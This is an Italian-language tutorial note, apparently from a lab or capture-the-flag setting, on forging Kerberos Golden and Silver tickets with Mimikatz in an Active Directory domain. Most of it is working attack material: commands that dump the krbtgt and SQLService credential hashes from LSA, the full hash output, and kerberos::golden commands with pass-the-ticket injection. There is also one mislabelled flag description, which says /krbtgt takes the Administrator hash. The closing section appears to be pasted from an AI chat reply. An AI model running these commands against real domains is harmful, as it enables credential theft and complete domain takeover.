tags: active_directory Active_Directory_Priv_Esc Golden_Ticket


Tramite Mimikatz possiamo generare dei tiket sia di tipo Silver che di tipo Gold, con i ticket silver puoi prendere i privilegi di un determinato servizio, mentre con il ticket gold puoi entrare dove ti pare perchè sei un VIP.

Per prima cosa avviamo Mimikatz e il seguente comando:

 
mimikatz.exe
 
privilege::debug
Privilage '20' OK               #output necessario per proseguire l'attacco
 

Dopo aver verificato questa opzione possiamo eseguire i seguenti comandi.

Golden Ticket

Per prima cosa usiamo il seguente comando per ottenere tutte le informazioni necessarie per creare il ticket:

 
mimikatz: lsadump::lsa /inject /name:krbtgt
 
 
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860
 
RID  : 000001f6 (502)
User : krbtgt
 
 * Primary
    NTLM : 72cd714611b64cd4d5550cd2759db3f6
    LM   :
  Hash NTLM: 72cd714611b64cd4d5550cd2759db3f6
    ntlm- 0: 72cd714611b64cd4d5550cd2759db3f6
    lm  - 0: aec7e106ddd23b3928f7b530f60df4b6
 
 * WDigest
    01  d2e9aa3caa4509c3f11521c70539e4ad
    02  c9a868fc195308b03d72daa4a5a4ee47
    03  171e066e448391c934d0681986f09ff4
    04  d2e9aa3caa4509c3f11521c70539e4ad
    05  c9a868fc195308b03d72daa4a5a4ee47
    06  41903264777c4392345816b7ecbf0885
    07  d2e9aa3caa4509c3f11521c70539e4ad
    08  9a01474aa116953e6db452bb5cd7dc49
    09  a8e9a6a41c9a6bf658094206b51a4ead
    10  8720ff9de506f647ad30f6967b8fe61e
    11  841061e45fdc428e3f10f69ec46a9c6d
    12  a8e9a6a41c9a6bf658094206b51a4ead
    13  89d0db1c4f5d63ef4bacca5369f79a55
    14  841061e45fdc428e3f10f69ec46a9c6d
    15  a02ffdef87fc2a3969554c3f5465042a
    16  4ce3ef8eb619a101919eee6cc0f22060
    17  a7c3387ac2f0d6c6a37ee34aecf8e47e
    18  085f371533fc3860fdbf0c44148ae730
    19  265525114c2c3581340ddb00e018683b
    20  f5708f35889eee51a5fa0fb4ef337a9b
    21  bffaf3c4eba18fd4c845965b64fca8e2
    22  bffaf3c4eba18fd4c845965b64fca8e2
    23  3c10f0ae74f162c4b81bf2a463a344aa
    24  96141c5119871bfb2a29c7ea7f0facef
    25  f9e06fa832311bd00a07323980819074
    26  99d1dd6629056af22d1aea639398825b
    27  919f61b2c84eb1ff8d49ddc7871ab9e0
    28  d5c266414ac9496e0e66ddcac2cbcc3b
    29  aae5e850f950ef83a371abda478e05db
 
 * Kerberos
    Default Salt : CONTROLLER.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 79bf07137a8a6b8f
 
 * Kerberos-Newer-Keys
    Default Salt : CONTROLLER.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033
      aes128_hmac       (4096) : 88cc87377b02a885b84fe7050f336d9b
      des_cbc_md5       (4096) : 79bf07137a8a6b8f
 
 * NTLM-Strong-NTOWF
    Random Value : 4b9102d709aada4d56a27b6c3cd14223

Ora che abbiamo dumpato queste informazioni le possiamo usare nel seguente modo:

kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500
  • kerberos::Dopo questa flag inserisci golden sia per i ticket gold che per quelli silver

  • /user: Dopo questa flag inserisci l’utente che vuoi impersonificare

  • /domain: Inserisci il dominio della rete

  • /sid: Inserisci il SID che in genere è il primo output del comando

  • /krbtgt: Dopo questa flag inserire l’hash dell’utente Administrator

  • /id: — RID dell’utente (500 per Administrator).

Puoi anche usare la chiave aes al posto di quella krbtgt che è più moderna, come nel seguente comando:

mimikatz kerberos::golden /user:Administrator /id:500 /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /aes256:dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033 /groups:513,512,520,518,519 /ptt
 

Se preferisci AES128, sostituisci /aes256: con /aes128: e l’hash corrispondente.

Silver

Per vedere tutti gli utenti e i servizi nella rete possiamo usare il seguente comando:

lsadump::lsa /inject /name:

Se per esempio troviamo un servizio SQL come nel seguente esempio:

RID  : 00000455 (1109)
User : SQLService
 
 * Primary
    NTLM : cd40c9ed96265531b21fc5b1dafcfb0a
    LM   :
  Hash NTLM: cd40c9ed96265531b21fc5b1dafcfb0a
    ntlm- 0: cd40c9ed96265531b21fc5b1dafcfb0a
    lm  - 0: 7bb53f77cde2f49c17190f7a071bd3a0
 
 * WDigest
    01  ba42b3f2ef362e231faca14b6dea61ef
    02  00a0374f4ac4bce4adda196e458dd8b8
    03  f39d8d3e34a4e2eac8f6d4b62fe52d06
    04  ba42b3f2ef362e231faca14b6dea61ef
    05  98c65218e4b7b8166943191cd8c35c23
    06  6eccb56cda1444e3909322305ed04b37
    07  25b7998ce2e7b826a576a43f89702921
    08  8609a1da5628a4016d32f9eb73314fa0
    09  277f84c6c59728fb963a6ee1a3b27f0d
    10  63a9f69e8b36c3e0612ec8784b9c7599
    11  47cb5c436807396994f1b9ccc8d2f8e1
    12  46f2c402d8731ed6dca07f5dbc71a604
    13  2990e284070a014e54c749a6f96f9be7
    14  c059f85b7f01744dc0a2a013978a965f
    15  3600c835f3e81858a77e74370e047e29
    16  bd9c013f8a3f743f8a5b553e8a275a88
    17  c1d94e24d26fdaad4d6db039058c292e
    18  1a433c0634b50c567bac222be4eac871
    19  78d7a7573e4af2b8649b0280cd75636d
    20  136ddfa7840610480a76777f3be007e0
    21  7a4a266a64910bb3e5651994ba6d7fb4
    22  a75ec46a7a473e90da499c599bc3d3cb
    23  8d3db50354c0744094334562adf74c2a
    24  7d07406132d671f73a139ff89da5d72e
    25  dd1e02d5c5b8ae969d903a0bc63d9191
    26  27da7fc766901eac79eba1a970ceb7da
    27  09333600bcc68ee149f449321a5efb27
    28  1c550f8b3af2eb4efda5c34aa8a1c549
    29  3cd9326a300d2261451d1504832cb062
 
 * Kerberos
    Default Salt : CONTROLLER.LOCALSQLService
    Credentials
      des_cbc_md5       : 5d5dae0dc10e7aec
 
 * Kerberos-Newer-Keys
    Default Salt : CONTROLLER.LOCALSQLService
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d
      aes128_hmac       (4096) : 629b46af543142f77cabcf14afb1caea
      des_cbc_md5       (4096) : 5d5dae0dc10e7aec
 
 * NTLM-Strong-NTOWF
    Random Value : 7e9547ab69f52e42450903ebbe6ad6ec
 

Possiamo usare il seguente comando per impersonificarlo:

mimikatz  kerberos::golden /user:Administrator /id:500 /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /rc4:cd40c9ed96265531b21fc5b1dafcfb0a /service:MSSQLSvc /target:sqlserver.controller.local /ptt
  • /user:Administrator — l’utente che vuoi impersonare.

  • /id:500 — RID (facoltativo, 500 è Administrator).

  • /domain e /sid — obbligatori per creare il ticket coerente.

  • /rc4:<hash> — l’NTLM hash del servizio (SQLService) usato come chiave per cifrare il TGS.

  • /service:MSSQLSvc — classe SPN (puoi usare anche mssqlsvc in minuscolo, Mimikatz la gestisce).

  • /target:sqlserver.controller.local — FQDN del server che ospita SQL (modificalo col nome reale della tua VM/bersaglio).

  • /ptt — injecta il ticket nella sessione corrente (pass-the-ticket); in alternativa usa /ticket:c:\path\to\ticket.kirbi per salvarlo.

Nota: se la tua istanza SQL usa un porto specifico nell’SPN (es. MSSQLSvc/sqlserver.controller.local:1433) può essere utile includere il porto nel target/SPN, ma spesso MSSQLSvc + FQDN è sufficiente.

Oppure se vogliamo usare la chiave aes il seguente comando:

mimikatz kerberos::golden /user:Administrator /id:500 /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /aes256:a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d /service:MSSQLSvc /target:sqlserver.controller.local /ptt

Come ho dedotto il Dominio (CONTROLLER.LOCAL)?

Ho dedotto il nome del dominio direttamente dal dump che hai fornito. Nello specifico, l’informazione si trova ripetutamente nelle sezioni relative a Kerberos.

Se guardi una qualsiasi delle voci per gli utenti o i computer, vedrai una riga come questa:

* Kerberos-Newer-Keys
   Default Salt : CONTROLLER.LOCALkrbtgt

o

* Kerberos-Newer-Keys
   Default Salt : CONTROLLER.LOCALSQLService

Spiegazione:

  • Il “Salt” in crittografia è un dato casuale che viene aggiunto a una password prima di calcolarne l’hash. Questo serve a prevenire attacchi basati su tabelle precalcolate (rainbow tables).

  • Nel protocollo Kerberos di Windows, il “salt” predefinito per generare le chiavi crittografiche di un account è composto dal nome del dominio (in maiuscolo) e dal nome dell’utente (o del servizio/computer).

Quindi, la stringa CONTROLLER.LOCALSQLService ci dice chiaramente che:

  • Il dominio è CONTROLLER.LOCAL

  • L’utente/servizio è SQLService